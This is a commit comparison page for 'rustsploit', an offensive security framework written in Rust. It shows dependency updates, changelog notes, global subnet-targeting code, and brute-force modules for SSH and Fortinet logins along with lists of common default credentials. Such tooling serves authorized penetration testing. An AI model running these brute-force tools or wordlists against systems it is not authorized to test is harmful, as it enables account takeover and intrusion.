Compare commits

...

20 Commits

Author SHA1 Message Date
S.B 3403cec7f9 Merge pull request #27 from s-b-repo/rust-2024-edition-migration
Rust 2024 edition migration
2025-11-26 16:48:21 +02:00
S.B 99e31b1c2f Update Cargo.toml 2025-11-24 15:03:07 +02:00
S.B c9e93614a4 Add files via upload 2025-11-24 14:59:46 +02:00
S.B 227dc38663 Delete preview.png 2025-11-24 14:59:29 +02:00
S.B b1ca5f1151 Add files via upload 2025-11-24 14:58:34 +02:00
S.B 6c153eee99 Delete src directory 2025-11-24 14:56:45 +02:00
S.B c9712dc4a9 Add files via upload 2025-11-24 14:53:44 +02:00
S.B be1c4158af Delete src directory 2025-11-24 14:52:09 +02:00
S.B 26913cdbf6 Merge pull request #26 from s-b-repo/beta-testing
Beta testing
2025-11-24 14:16:37 +02:00
S.B f21fab17b8 Update Cargo.toml 2025-11-24 14:05:49 +02:00
S.B fef7339690 Update changelog.md 2025-11-24 14:02:39 +02:00
S.B 4224c696cc Update Cargo.toml 2025-11-24 13:59:23 +02:00
S.B 8c96ee3628 Update changelog.md 2025-11-24 13:57:01 +02:00
S.B 4b63dd711e Add files via upload 2025-11-24 13:55:41 +02:00
S.B 0d81e0e6ed Delete src directory 2025-11-24 13:54:11 +02:00
S.B bae1a091e4 Update telnet_bruteforce.rs 2025-11-24 11:24:57 +02:00
S.B 7ae50993be Add files via upload 2025-11-24 11:23:46 +02:00
S.B 948d802a3b Create empty.txt 2025-11-24 11:23:25 +02:00
S.B cd6ffb9a9e Merge pull request #25 from s-b-repo/DEVORP2
Update Cargo.toml
2025-11-23 22:10:28 +02:00
S.B f8e5c0af46 Update Cargo.toml 2025-11-23 20:27:47 +02:00
19 changed files with 2638 additions and 894 deletions
+106 -116
View File
@@ -1,124 +1,114 @@
[package]
name = "rustsploit"
version = "0.3.5"
edition = "2021"
edition = "2024"
build = "build.rs"
[dependencies]
# For HTTP requests
reqwest = { version = "0.12", features = ["json", "cookies", "socks"] }
#proxy manager
rand = "0.9"
# For CLI parsing
clap = { version = "4.5", features = ["derive"] }
# Async runtime for networking
tokio = { version = "1.44", features = ["macros", "rt-multi-thread", "process","rt","fs", "io-std"] }
# Easier error handling
anyhow = "1.0"
#teminal color
colored = "3.0"
rustyline = "15.0"
#ftp brute force module
async_ftp = "6.0"
tokio-socks = "0.5"
rustls = "0.23"
webpki-roots = "0.26"
suppaftp = { version = "6.2", features = ["async", "async-native-tls","native-tls"] }
native-tls = "0.2"
sysinfo = { version = "0.36", features = ["multithread"] }
#telnet
threadpool = "1.8"
crossbeam-channel = "0.5"
telnet = "0.2"
async-stream = "0.3.6"
walkdir = "2.5"
#ssh
ssh2 = "0.9"
# rstp brute forcing
base64 = "0.22"
# RDP brute forcing module
rdp = "0.12"
# ssdp moudle scanner
regex = "1.11"
ipnet = "2.11"
#camera uniview exploit
quick-xml = "0.37"
#ABUS TVIP Dropbear
md5 = "0.7"
ftp = "3.0"
#ssh rce race condition
libc = "0.2"
futures = "0.3"
futures-util = "0.3"
#spotube exploit
serde_json = "1.0"
tokio-tungstenite = "0.26"
#zte rce
# Add these to [dependencies]
aes = "0.8"
cipher = "0.4"
flate2 = "1.0"
# for Roundcube exploit payload encoding
data-encoding = "2.5"
#avanti
url = "2.5"
semver = "1.0"
#stalk route full traceroute
pnet_packet = "0.34"
socket2 = { version = "0.5", features = ["all"] }
# HTTP/2 Rapid Reset DoS
# Note: h2 0.3 requires http 0.2. Upgrading to h2 0.4 would require http 1.0+ and code changes
h2 = "0.3"
tokio-rustls = "0.24"
http = "0.2"
bytes = "1.0"
#pingsweep
which = "8.0"
# API server
axum = "0.7"
tower = "0.5"
tower-http = { version = "0.6", features = ["cors", "trace"] }
chrono = { version = "0.4", features = ["serde"] }
serde = { version = "1.0", features = ["derive"] }
uuid = { version = "1.10", features = ["v4"] }
sha2 = "0.10"
hex = "0.4"
# DNS tooling
trust-dns-client = { version = "0.23", features = ["dnssec"] }
trust-dns-proto = "0.23"
# SNMP bruteforce - using manual encoding for reliability
# Pin transitive dependencies to edition-2021-compatible releases
# (newer versions require unstable edition2024 feature)
home = "=0.5.11"
[build-dependencies]
regex = "1.11" # required for use in build.rs
[[bin]]
name = "rustsploit"
path = "src/main.rs"
[dependencies]
# Core / General
anyhow = "1.0"
colored = "3.0" # newer than 2.0
rand = "0.9"
rustyline = "15.0"
sysinfo = { version = "0.36", features = ["multithread"] }
# CLI & Async runtime
clap = { version = "4.5", features = ["derive"] }
tokio = { version = "1.44", features = ["full", "process", "fs", "io-std", "rt-multi-thread", "macros", "rt"] }
# HTTP & Web
reqwest = { version = "0.12", features = ["json", "cookies", "socks"] }
h2 = "0.3"
http = "0.2"
bytes = "1.0"
tokio-rustls = "0.24"
url = "2.5"
quick-xml = "0.37"
data-encoding = "2.5"
semver = "1.0"
# Crypto & Encoding
aes = "0.8"
cipher = "0.4"
md5 = "0.7"
sha2 = "0.10"
hex = "0.4"
flate2 = "1.0"
base64 = "0.22"
# Networking & Protocols
tokio-socks = "0.5"
socket2 = { version = "0.5", features = ["all"] }
pnet_packet = "0.34"
ipnet = "2.11"
ipnetwork = "0.20"
regex = "1.11" # newest listed
which = "8.0"
# FTP
async_ftp = "6.0"
suppaftp = { version = "6.3", features = ["async", "async-native-tls", "native-tls"] }
native-tls = "0.2"
rustls = "0.23"
webpki-roots = "0.26"
# Telnet
threadpool = "1.8"
crossbeam-channel = "0.5"
telnet = "0.2"
async-stream = "0.3.6"
# SSH
ssh2 = "0.9"
libc = "0.2"
# RDP - removed unused dependency (module uses external xfreerdp/rdesktop commands)
# rdp = "0.12"
# Walkdir (used by telnet module)
walkdir = "2.5"
# WebSocket (Spotube exploit)
tokio-tungstenite = "0.26"
# Futures
futures = "0.3"
futures-util = "0.3"
# JSON & Serialization
serde = { version = "1.0", features = ["derive"] }
serde_json = "1.0"
chrono = { version = "0.4", features = ["serde"] }
# API Server (Axum)
axum = "0.7"
tower = "0.5"
tower-http = { version = "0.6", features = ["cors", "trace"] }
uuid = { version = "1.10", features = ["v4"] }
# DNS
hickory-client = { version = "0.24", features = ["dnssec"] }
hickory-proto = "0.24"
# Misc utilities
once_cell = "1.19"
home = "0.5" # updated for edition 2024 compatibility
[build-dependencies]
regex = "1.11"
# Dependency overrides to address security warnings in transitive dependencies
# Note: These are warnings (not vulnerabilities) in transitive dependencies
# async-std warning: suppaftp uses async-std internally - waiting for upstream fix
# The other warnings (atomic-polyfill, atty) are resolved by removing unused rdp dependency
[profile.release]
opt-level = 3
lto = "fat"
codegen-units = 1
panic = "abort"
strip = true
+418
View File
@@ -1981,9 +1981,427 @@ let pair = {
guard.recv().await
};
#### targeting System
Implemented global target configuration for all modules in the framework.
Features
Global configuration module (src/config.rs):
Stores a global target (IP, hostname, or CIDR subnet)
Supports CIDR subnets (e.g., 192.168.1.0/24)
Expands subnets to individual IPs when needed
Thread-safe using Arc<RwLock>
CLI support:
Added --set-target flag to set the global target from the command line
Example: rustsploit --set-target 192.168.1.0/24
Interactive shell support:
set target <value> sets the global target (also sets local target for backward compatibility)
Supports single IPs, hostnames, and CIDR subnets
show_target (or target) displays current local and global targets
clear_target clears both local and global targets
Shell welcome message shows the global target if set
Automatic target resolution:
Modules use the global target when no specific target is provided
Works in both CLI mode and interactive shell
For subnets, uses the first IP (modules can be extended to iterate over all IPs)
Usage Examples
# Set global target from CLIrustsploit --set-target 192.168.1.0/24# In interactive shellrsf> set target 192.168.1.0/24rsf> show_targetrsf> use scanners/port_scannerrsf> run # Uses global target automatically
The implementation is complete and ready to use. All modules will automatically use the global target when no specific target is provided.
# Set global target from CLI
rustsploit --set-target 192.168.1.0/24
# In interactive shell
rsf> set target 192.168.1.0/24
rsf> show_target
rsf> use scanners/port_scanner
rsf> run # Uses global target automatically
Fixes Applied
Removed unused import: removed the unused anyhow import from commands/mod.rs.
Fixed large subnet handling:
Added get_single_target_ip() to get a single IP from a subnet without expanding.
Added get_target_size() to get subnet size without expanding.
Limited subnet expansion to 65,536 IPs (max /16) to prevent memory issues.
Updated all code to use the new methods.
Improved error handling: better error messages when subnets are too large.
When you set 0.0.0.0/0 as the target, it now uses 0.0.0.0 (the network address) instead of expanding to billions of IPs. For scanning multiple IPs, use a smaller subnet like 192.168.1.0/24.
Fixes Applied
Fixed NetworkSize type conversion:
Replaced net.size().into() with manual calculation from the prefix length
Calculates subnet size as 2^(32-prefix) for IPv4 and 2^(128-prefix) for IPv6
Handles edge cases (prefix >= 32 for IPv4, prefix >= 128 for IPv6)
Verified creds modules:
All 14 creds modules have the correct pub async fn run(target: &str) signature
The build script (build.rs) automatically discovers and registers them
Modules are wired via the generated creds_dispatch.rs file
Added a run_all command that uses get_target_ips() to iterate over all IPs in a subnet. This removes the dead code warning.
Changes Made
Added run_all command (aliases: runall, ra):
Checks if a global subnet target is set
Uses get_target_ips() to get all IPs from the subnet
Runs the selected module against each IP sequentially
Supports proxy rotation if enabled
Shows progress and a summary at the end
Updated help text to include the new command
The get_target_ips() method is now used, so the dead code warning should be resolved. The command works with subnets up to 65,536 IPs (as limited by the method).
Usage example:
Fixed Compilation Errors
Updated deprecated rand API:
Changed rand::thread_rng() → rand::rng()
Changed rng.gen_range() → rng.random_range()
Changed rng.gen() → rng.random()
Fixed Send trait issue:
Moved all random value generation into a block scope { ... } that completes before any await points
This ensures the ThreadRng is dropped before the async code runs, making the future Send
Fixed unused variable warning:
Changed if let Ok(addr) = socket.connect(...) to if socket.connect(...).is_ok() to avoid the unused addr variable
Changes Made:
Added new scan methods to PingMethod enum:
Syn { ports: Vec<u16> } - SYN (stealth) scan
Ack { ports: Vec<u16> } - ACK scan for filter detection
Updated configuration prompts:
Added prompts for SYN and ACK scan options
Both methods note that root privileges are required
Implemented SYN scan (syn_probe and syn_probe_single):
Sends SYN packets using raw sockets
Detects SYN-ACK (port open) or RST (host up, port closed)
IPv4 only
Uses spawn_blocking for async compatibility
Implemented ACK scan (ack_probe and ack_probe_single):
Sends ACK packets using raw sockets
Detects RST responses (host up, port unfiltered)
IPv4 only
Uses spawn_blocking for async compatibility
Added required imports:
libc for IPPROTO_RAW
pnet_packet for packet crafting
socket2 for raw sockets
tokio::task for spawn_blocking
MaybeUninit for safe buffer handling
Features:
SYN scan: Stealth scan that sends SYN packets and analyzes responses
ACK scan: Detects filtered vs unfiltered ports
User selection: Prompts to choose which scan methods to use
Error handling: Clear messages when root privileges are required
IPv4 support: Both methods work with IPv4 addresses
Async compatible: Uses spawn_blocking for raw socket operations
Fixed the parsing issue. The problem was that strip_prefix("target") matched "target" even without a following space, so set target set 192.168.41.1/23 was parsed incorrectly.
The fix:
Changed strip_prefix("target") to strip_prefix("target ") (requires a space after "target")
Added a check to ensure the value isn't empty after stripping
Now when you type set target 192.168.41.1/23, it will correctly parse just 192.168.41.1/23 as the target value.
The code should now work correctly. Try running:
Fixed both issues:
CIDR validation: Updated the regex in normalize_target to allow / for CIDR notation (e.g., 192.168.41.1/23).
Parsing: Changed the check to use starts_with("target ") instead of strip_prefix, which is more explicit.
The code should now:
Accept CIDR notation like 192.168.41.1/23
Correctly parse set target 192.168.41.1/23 without including extra words
Try running:
Changes Made:
Added fields to PingConfig:
save_up_hosts: Option<String> - Path to save up hosts
save_down_hosts: Option<String> - Path to save down hosts
Added configuration prompts:
Asks if you want to save up hosts to a file (default: ping_sweep_up_hosts.txt)
Asks if you want to save down hosts to a file (default: ping_sweep_down_hosts.txt)
You can specify custom file paths
Result collection:
Uses Arc<Mutex<Vec<String>>> to collect up and down hosts during execution
Up hosts are added when any probe method succeeds
Down hosts are added when all probe methods fail
File saving:
Added save_hosts_to_file() function to write results
Saves files at the end of the sweep
Shows success messages with counts
Handles errors gracefully
Usage:
When you run the ping sweep scanner, you'll be prompted:
"Save up hosts to file?" - If yes, specify the output file
"Save down hosts to file?" - If yes, specify the output file
Improvements
1. Statistics tracking
Real-time progress reporting showing attempts, successes, failures, errors, retries, and rate
Final statistics summary with elapsed time and average rate
Updates every 2 seconds
2. Retry logic
Configurable retry on connection errors
Max retries setting (1-10)
Tracks retry attempts separately
3. Timeout configuration
Configurable connection timeout (1-60 seconds)
Uses tokio::time::timeout for proper async timeout handling
4. Concurrency control
Uses Semaphore for proper concurrency limiting
Prevents task queue overflow
Better resource management
5. Default credentials
Built-in list of 13 common SSH credentials
Optional: try defaults first before wordlists
Can be combined with wordlists
6. Better error handling
More detailed error messages
Distinguishes between connection errors, handshake failures, and auth failures
Tracks error attempts separately
7. Enhanced user experience
Better input validation with clear error messages
Optional wordlists (can use defaults only)
Shows total attempts before starting
Uses HashSet to prevent duplicate credential reporting
Improved output formatting with colors
8. Code quality
Cleaner structure with constants
Better separation of concerns
More robust error handling
Fixing the warning: u16 can't exceed 65535, so the <= 65535 check is redundant. Removing it:
cargo audit
Fetching advisory database from `https://github.com/RustSec/advisory-db.git`
Loaded 874 security advisories (from /home/kali/.cargo/advisory-db)
Updating crates.io index
Scanning Cargo.lock for vulnerabilities (421 crate dependencies)
Crate: chrono
Version: 0.2.25
Title: Potential segfault in `localtime_r` invocations
Date: 2020-11-10
ID: RUSTSEC-2020-0159
URL: https://rustsec.org/advisories/RUSTSEC-2020-0159
Solution: Upgrade to >=0.4.20
Dependency tree:
chrono 0.2.25
└── ftp 3.0.1
└── rustsploit 0.3.5
Crate: idna
Version: 0.4.0
Title: `idna` accepts Punycode labels that do not produce any non-ASCII when decoded
Date: 2024-12-09
ID: RUSTSEC-2024-0421
URL: https://rustsec.org/advisories/RUSTSEC-2024-0421
Solution: Upgrade to >=1.0.0
Dependency tree:
idna 0.4.0
└── trust-dns-proto 0.23.2
├── trust-dns-client 0.23.2
│ └── rustsploit 0.3.5
└── rustsploit 0.3.5
Crate: regex
Version: 0.1.80
Title: Regexes with large repetitions on empty sub-expressions take a very long time to parse
Date: 2022-03-08
ID: RUSTSEC-2022-0013
URL: https://rustsec.org/advisories/RUSTSEC-2022-0013
Severity: 7.5 (high)
Solution: Upgrade to >=1.5.5
Dependency tree:
regex 0.1.80
└── ftp 3.0.1
└── rustsploit 0.3.5
Crate: thread_local
Version: 0.2.7
Title: Data race in `Iter` and `IterMut`
Date: 2022-01-23
ID: RUSTSEC-2022-0006
URL: https://rustsec.org/advisories/RUSTSEC-2022-0006
Solution: Upgrade to >=1.1.4
Dependency tree:
thread_local 0.2.7
└── regex 0.1.80
└── ftp 3.0.1
└── rustsploit 0.3.5
Crate: time
Version: 0.1.45
Title: Potential segfault in the time crate
Date: 2020-11-18
ID: RUSTSEC-2020-0071
URL: https://rustsec.org/advisories/RUSTSEC-2020-0071
Severity: 6.2 (medium)
Solution: Upgrade to >=0.2.23
Dependency tree:
time 0.1.45
└── chrono 0.2.25
└── ftp 3.0.1
└── rustsploit 0.3.5
Crate: async-std
Version: 1.13.2
Warning: unmaintained
Title: async-std has been discontinued
Date: 2025-08-24
ID: RUSTSEC-2025-0052
URL: https://rustsec.org/advisories/RUSTSEC-2025-0052
Dependency tree:
async-std 1.13.2
└── suppaftp 6.3.0
└── rustsploit 0.3.5
Crate: atomic-polyfill
Version: 1.0.3
Warning: unmaintained
Title: atomic-polyfill is unmaintained
Date: 2023-07-11
ID: RUSTSEC-2023-0089
URL: https://rustsec.org/advisories/RUSTSEC-2023-0089
Dependency tree:
atomic-polyfill 1.0.3
└── heapless 0.7.17
└── rstar 0.11.0
├── geo-types 0.7.17
│ ├── rdp 0.12.8
│ │ └── rustsploit 0.3.5
│ └── geo 0.26.0
│ └── rdp 0.12.8
└── geo 0.26.0
Crate: atty
Version: 0.2.14
Warning: unmaintained
Title: `atty` is unmaintained
Date: 2024-09-25
ID: RUSTSEC-2024-0375
URL: https://rustsec.org/advisories/RUSTSEC-2024-0375
Dependency tree:
atty 0.2.14
└── clap 3.2.25
└── cbindgen 0.26.0
└── rdp 0.12.8
└── rustsploit 0.3.5
Crate: ftp
Version: 3.0.1
Warning: unmaintained
Title: ftp is unmaintained, use suppaftp instead
Date: 2023-02-20
ID: RUSTSEC-2023-0043
URL: https://rustsec.org/advisories/RUSTSEC-2023-0043
Dependency tree:
ftp 3.0.1
└── rustsploit 0.3.5
Crate: trust-dns-proto
Version: 0.23.2
Warning: unmaintained
Title: The `trust-dns` project has been rebranded to `hickory-dns`
Date: 2025-03-23
ID: RUSTSEC-2025-0017
URL: https://rustsec.org/advisories/RUSTSEC-2025-0017
Dependency tree:
trust-dns-proto 0.23.2
├── trust-dns-client 0.23.2
│ └── rustsploit 0.3.5
└── rustsploit 0.3.5
Crate: atty
Version: 0.2.14
Warning: unsound
Title: Potential unaligned read
Date: 2021-07-04
ID: RUSTSEC-2021-0145
URL: https://rustsec.org/advisories/RUSTSEC-2021-0145
error: 5 vulnerabilities found!
warning: 6 allowed warnings found
Security Fixes Applied:
Removed unmaintained ftp crate (v3.0)
Removed from Cargo.toml
Added blocking feature to suppaftp for blocking FTP operations
Updated pachev_ftp_path_traversal_1_0.rs to use suppaftp::FtpStream instead of ftp::FtpStream
This fixes vulnerabilities in: chrono 0.2.25, regex 0.1.80, thread_local 0.2.7, and time 0.1.45
Replaced trust-dns-* with hickory-dns-*
Updated Cargo.toml to use hickory-client and hickory-proto (rebranded, maintained versions)
Updated dns_recursion.rs imports from trust_dns_* to hickory_*
This fixes the idna 0.4.0 vulnerability and the unmaintained trust-dns-proto warning
All 5 vulnerabilities should now be resolved. The remaining warnings (async-std, atomic-polyfill, atty) are transitive dependencies from other crates (rdp, suppaftp) and are warnings, not vulnerabilities.
im gunna Run cargo audit again to verify the fixes
The suppaftp crate doesn't have a blocking feature. Checking available features and how to use blocking FTP:
Removing the blocking feature; suppaftp's blocking API should be available by default:
Removed the non-existent blocking feature. suppaftp::FtpStream (without the Async prefix) is the blocking API and is available by default. The code should compile now. Verifying:
Removed the non-existent blocking feature. In suppaftp:
FtpStream (blocking) is available by default — used in the exploit
AsyncFtpStream requires the async feature — used in other modules
The configuration should now compile. The blocking FtpStream API is available without any feature flag, so the exploit should work correctly.
Try running cargo run --release again; it should compile successfully.
Fixed two issues:
Removed unused import: std::net::ToSocketAddrs is no longer needed since we're using suppaftp::FtpStream::connect() which accepts a string directly.
Fixed method name: Changed simple_retr() to retr(). In suppaftp, retr() returns a reader directly (no .into_inner() needed).
The code should now compile. The retr() method in suppaftp returns a reader that can be used directly with copy().
Fixed the issue: suppaftp::FtpStream::retr() takes two arguments:
The file path (string)
A mutable writer to write the data to
Updated the code to:
Create the output file first
Pass a mutable reference to the file as the second argument to retr()
Remove the unnecessary copy() call since retr() writes directly to the file
Fixed the issue. The retr() method in suppaftp expects a closure that:
Takes a &mut dyn Read (the FTP data stream)
Processes it (in this case, copy it to a file)
Returns a Result with FtpError
The code now:
Creates the output file
Uses a closure that receives the reader from FTP
Uses io::copy() to copy data from the reader to the file
Converts I/O errors to FtpError as required
Fixed both issues:
Removed unused import: Removed Read from the imports since it's not directly used.
Fixed error type: FtpError::ConnectionError expects an Error type, not a String. Changed it to use std::io::Error::new() to create a proper error from the I/O error.
let Some((user, pass)) = pair else { break };
if stop_flag.load(Ordering::Relaxed) { // ❌ Check happens AFTER receiving work
break;
}
Removed the unused rdp dependency, which should eliminate the atomic-polyfill and atty warnings. The RDP bruteforce module uses external commands (xfreerdp/rdesktop), not the rdp crate.
For the async-std warning from suppaftp, it's a transitive dependency and only a warning (not a vulnerability). We can wait for suppaftp to update or consider alternatives later.
Summary of fixes:
Removed unused rdp dependency — eliminates atomic-polyfill and atty warnings
Updated suppaftp to version 6.3 — may help with async-std if a newer version addresses it
Added comments explaining the remaining async-std warning
The remaining async-std warning is from suppaftp's transitive dependencies and is a maintenance warning, not a security vulnerability. It should be addressed upstream by the suppaftp maintainers.
+1
View File
@@ -0,0 +1 @@
+20
View File
@@ -0,0 +1,20 @@
admin
password
123456
1234
root
toor
guest
default
admin123
adminadmin
pass
changeme
password1
cisco
ubnt
support
12345
qwerty
letmein
test
+20
View File
@@ -0,0 +1,20 @@
admin
root
user
administrator
guest
support
operator
supervisor
admin1
root1
manager
service
master
tech
sysadmin
default
cisco
ubnt
pi
test
BIN
View File
Binary file not shown.

Before

Width:  |  Height:  |  Size: 116 KiB

After

Width:  |  Height:  |  Size: 435 KiB

+4
View File
@@ -39,4 +39,8 @@ pub struct Cli {
/// IP limit for hardening mode (default: 10 unique IPs)
#[arg(long, requires = "harden", default_value = "10")]
pub ip_limit: Option<u32>,
/// Set global target IP/subnet for all modules
#[arg(long)]
pub set_target: Option<String>,
}
+40 -2
View File
@@ -4,12 +4,30 @@ pub mod creds;
use anyhow::Result;
use crate::cli::Cli;
use crate::config;
use walkdir::WalkDir;
use crate::utils::normalize_target;
/// CLI dispatcher: e.g. --command scanner --target "::1" --module scanners/port_scanner
pub async fn handle_command(command: &str, cli_args: &Cli) -> Result<()> {
let raw = cli_args.target.clone().unwrap_or_default();
// Use CLI target if provided, otherwise try global target
let raw = if let Some(ref t) = cli_args.target {
t.clone()
} else if config::GLOBAL_CONFIG.has_target() {
// Use single IP from global target (handles subnets intelligently)
match config::GLOBAL_CONFIG.get_single_target_ip() {
Ok(ip) => {
println!("[*] Using global target: {}", config::GLOBAL_CONFIG.get_target().unwrap_or_default());
ip
}
Err(e) => {
return Err(anyhow::anyhow!("No target specified and global target error: {}", e));
}
}
} else {
return Err(anyhow::anyhow!("No target specified. Use --target <ip> or --set-target <ip/subnet>"));
};
let target = normalize_target(&raw)?; // IPv6 wrap only, no port
let module = cli_args.module.clone().unwrap_or_default();
@@ -35,6 +53,7 @@ pub async fn handle_command(command: &str, cli_args: &Cli) -> Result<()> {
}
/// Interactive shell: handles `run` with raw target string
/// If raw_target is empty, uses global target if available
pub async fn run_module(module_path: &str, raw_target: &str) -> Result<()> {
let available = discover_modules();
@@ -57,7 +76,26 @@ pub async fn run_module(module_path: &str, raw_target: &str) -> Result<()> {
return Ok(());
};
let target = normalize_target(raw_target)?;
// Use provided target, or fall back to global target
let target_str = if raw_target.is_empty() {
if config::GLOBAL_CONFIG.has_target() {
match config::GLOBAL_CONFIG.get_single_target_ip() {
Ok(ip) => {
println!("[*] Using global target: {}", config::GLOBAL_CONFIG.get_target().unwrap_or_default());
ip
}
Err(e) => {
return Err(anyhow::anyhow!("No target specified and global target error: {}", e));
}
}
} else {
return Err(anyhow::anyhow!("No target specified. Use 'set target <ip/subnet>' or provide target when running module"));
}
} else {
raw_target.to_string()
};
let target = normalize_target(&target_str)?;
let mut parts = resolved.splitn(2, '/');
let category = parts.next().unwrap_or("");
+194
View File
@@ -0,0 +1,194 @@
use anyhow::{Result, anyhow};
use std::sync::{Arc, RwLock};
use ipnetwork::IpNetwork;
/// Global configuration for the framework
#[derive(Clone, Debug)]
pub struct GlobalConfig {
/// Global target - can be a single IP or CIDR subnet
target: Arc<RwLock<Option<TargetConfig>>>,
}
#[derive(Clone, Debug)]
pub enum TargetConfig {
/// Single IP address or hostname
Single(String),
/// CIDR subnet (e.g., "192.168.1.0/24")
Subnet(IpNetwork),
}
impl GlobalConfig {
/// Create a new global configuration
pub fn new() -> Self {
Self {
target: Arc::new(RwLock::new(None)),
}
}
/// Set the global target (IP, hostname, or CIDR subnet)
pub fn set_target(&self, target: &str) -> Result<()> {
let trimmed = target.trim();
if trimmed.is_empty() {
return Err(anyhow!("Target cannot be empty"));
}
// Try to parse as CIDR subnet first
if let Ok(network) = trimmed.parse::<IpNetwork>() {
let mut target_guard = self.target.write().unwrap();
*target_guard = Some(TargetConfig::Subnet(network));
return Ok(());
}
// Otherwise, treat as single IP or hostname
let mut target_guard = self.target.write().unwrap();
*target_guard = Some(TargetConfig::Single(trimmed.to_string()));
Ok(())
}
/// Get the global target as a single string (for display)
pub fn get_target(&self) -> Option<String> {
let target_guard = self.target.read().unwrap();
target_guard.as_ref().map(|t| match t {
TargetConfig::Single(ip) => ip.clone(),
TargetConfig::Subnet(net) => net.to_string(),
})
}
/// Get a single IP address from the global target
/// For subnets, returns the network address (first IP)
pub fn get_single_target_ip(&self) -> Result<String> {
let target_guard = self.target.read().unwrap();
match target_guard.as_ref() {
Some(TargetConfig::Single(ip)) => {
Ok(ip.clone())
}
Some(TargetConfig::Subnet(net)) => {
// Return the network address (first IP in the subnet)
Ok(net.network().to_string())
}
None => Err(anyhow!("No global target set")),
}
}
/// Get all IP addresses from the global target
/// Returns a vector of IP addresses (expands subnets)
/// For very large subnets (> 65536 IPs), returns an error
pub fn get_target_ips(&self) -> Result<Vec<String>> {
let target_guard = self.target.read().unwrap();
match target_guard.as_ref() {
Some(TargetConfig::Single(ip)) => {
// For single IP/hostname, return as-is
Ok(vec![ip.clone()])
}
Some(TargetConfig::Subnet(net)) => {
// Check subnet size to prevent memory issues
// Calculate size from prefix length: 2^(32-prefix) for IPv4, 2^(128-prefix) for IPv6
let size = match net {
IpNetwork::V4(net4) => {
let prefix = net4.prefix() as u32;
if prefix >= 32 {
1u64
} else {
2u64.pow(32 - prefix)
}
}
IpNetwork::V6(net6) => {
let prefix = net6.prefix() as u32;
if prefix >= 128 {
1u64
} else {
// For very large IPv6 subnets, cap at u64::MAX
let exp = 128u32.saturating_sub(prefix);
if exp > 63 {
u64::MAX
} else {
2u64.pow(exp)
}
}
}
};
const MAX_SUBNET_SIZE: u64 = 65536; // Limit to /16 or smaller
if size > MAX_SUBNET_SIZE {
return Err(anyhow!(
"Subnet too large ({} IPs). Maximum allowed: {} IPs. Use a smaller subnet or use 'get_single_target_ip' for a single IP.",
size, MAX_SUBNET_SIZE
));
}
// Expand subnet to individual IPs
let mut ips = Vec::new();
for ip in net.iter() {
ips.push(ip.to_string());
}
Ok(ips)
}
None => Err(anyhow!("No global target set")),
}
}
/// Check if global target is set
pub fn has_target(&self) -> bool {
let target_guard = self.target.read().unwrap();
target_guard.is_some()
}
/// Check if global target is a subnet
pub fn is_subnet(&self) -> bool {
let target_guard = self.target.read().unwrap();
matches!(target_guard.as_ref(), Some(TargetConfig::Subnet(_)))
}
/// Get the size of the target (number of IPs)
/// For single IPs, returns 1
/// For subnets, returns the subnet size without expanding
pub fn get_target_size(&self) -> Option<u64> {
let target_guard = self.target.read().unwrap();
match target_guard.as_ref() {
Some(TargetConfig::Single(_)) => Some(1),
Some(TargetConfig::Subnet(net)) => {
// Calculate size from prefix length
let size = match net {
IpNetwork::V4(net4) => {
let prefix = net4.prefix() as u32;
if prefix >= 32 {
1u64
} else {
2u64.pow(32 - prefix)
}
}
IpNetwork::V6(net6) => {
let prefix = net6.prefix() as u32;
if prefix >= 128 {
1u64
} else {
let exp = 128u32.saturating_sub(prefix);
if exp > 63 {
u64::MAX
} else {
2u64.pow(exp)
}
}
}
};
Some(size)
}
None => None,
}
}
/// Clear the global target
pub fn clear_target(&self) {
let mut target_guard = self.target.write().unwrap();
*target_guard = None;
}
}
/// Global configuration instance
use once_cell::sync::Lazy;
pub static GLOBAL_CONFIG: Lazy<GlobalConfig> = Lazy::new(|| GlobalConfig::new());
+7
View File
@@ -7,6 +7,7 @@ mod commands;
mod modules;
mod utils;
mod api;
mod config;
#[tokio::main]
async fn main() -> Result<()> {
@@ -35,6 +36,12 @@ async fn main() -> Result<()> {
return Ok(());
}
// Set global target if provided
if let Some(ref target) = cli_args.set_target {
config::GLOBAL_CONFIG.set_target(target)?;
println!("✓ Global target set to: {}", target);
}
// If user provided subcommands (e.g., "exploit", "scan", etc.) from CLI, handle them directly:
if let Some(cmd) = &cli_args.command {
commands::handle_command(cmd, &cli_args).await?;
@@ -293,13 +293,13 @@ async fn try_fortinet_login(
form_data.insert("password", password.to_string());
form_data.insert("ajax", "1".to_string());
if let Some(ref r) = realm {
if let Some(r) = realm {
if !r.is_empty() {
form_data.insert("realm", r.clone());
}
}
if let Some(ref token) = csrf_token {
if let Some(token) = csrf_token {
form_data.insert("magic", token.clone());
}
@@ -368,7 +368,7 @@ async fn try_fortinet_login(
// Check redirect location
if status.as_u16() == 302 {
if let Some(ref loc_str) = location_header {
if let Some(loc_str) = location_header {
if loc_str.contains("/remote/index")
|| loc_str.contains("portal")
|| loc_str.contains("index")
+312 -88
View File
@@ -1,41 +1,185 @@
use anyhow::{anyhow, Result};
use colored::*;
use futures::stream::{FuturesUnordered, StreamExt};
use ssh2::Session;
use std::{
collections::HashSet,
fs::File,
io::{BufRead, BufReader, Write},
net::{TcpStream, ToSocketAddrs},
path::{Path, PathBuf},
sync::Arc,
sync::{
atomic::{AtomicBool, AtomicU64, Ordering},
Arc,
},
time::Instant,
};
use std::sync::atomic::{AtomicBool, Ordering};
use regex::Regex;
use tokio::{sync::Mutex, task::spawn_blocking, time::{sleep, Duration}};
use tokio::{
sync::{Mutex, Semaphore},
task::spawn_blocking,
time::{sleep, Duration, timeout},
};
// Constants
const DEFAULT_SSH_PORT: u16 = 22;
const PROGRESS_INTERVAL_SECS: u64 = 2;
const DEFAULT_CREDENTIALS: &[(&str, &str)] = &[
("root", "root"),
("admin", "admin"),
("user", "user"),
("guest", "guest"),
("root", "123456"),
("admin", "123456"),
("root", "password"),
("admin", "password"),
("root", ""),
("admin", ""),
("ubuntu", "ubuntu"),
("test", "test"),
("oracle", "oracle"),
];
// Statistics tracking
struct Statistics {
total_attempts: AtomicU64,
successful_attempts: AtomicU64,
failed_attempts: AtomicU64,
error_attempts: AtomicU64,
retried_attempts: AtomicU64,
start_time: Instant,
}
impl Statistics {
fn new() -> Self {
Self {
total_attempts: AtomicU64::new(0),
successful_attempts: AtomicU64::new(0),
failed_attempts: AtomicU64::new(0),
error_attempts: AtomicU64::new(0),
retried_attempts: AtomicU64::new(0),
start_time: Instant::now(),
}
}
fn record_attempt(&self, success: bool, error: bool) {
self.total_attempts.fetch_add(1, Ordering::Relaxed);
if error {
self.error_attempts.fetch_add(1, Ordering::Relaxed);
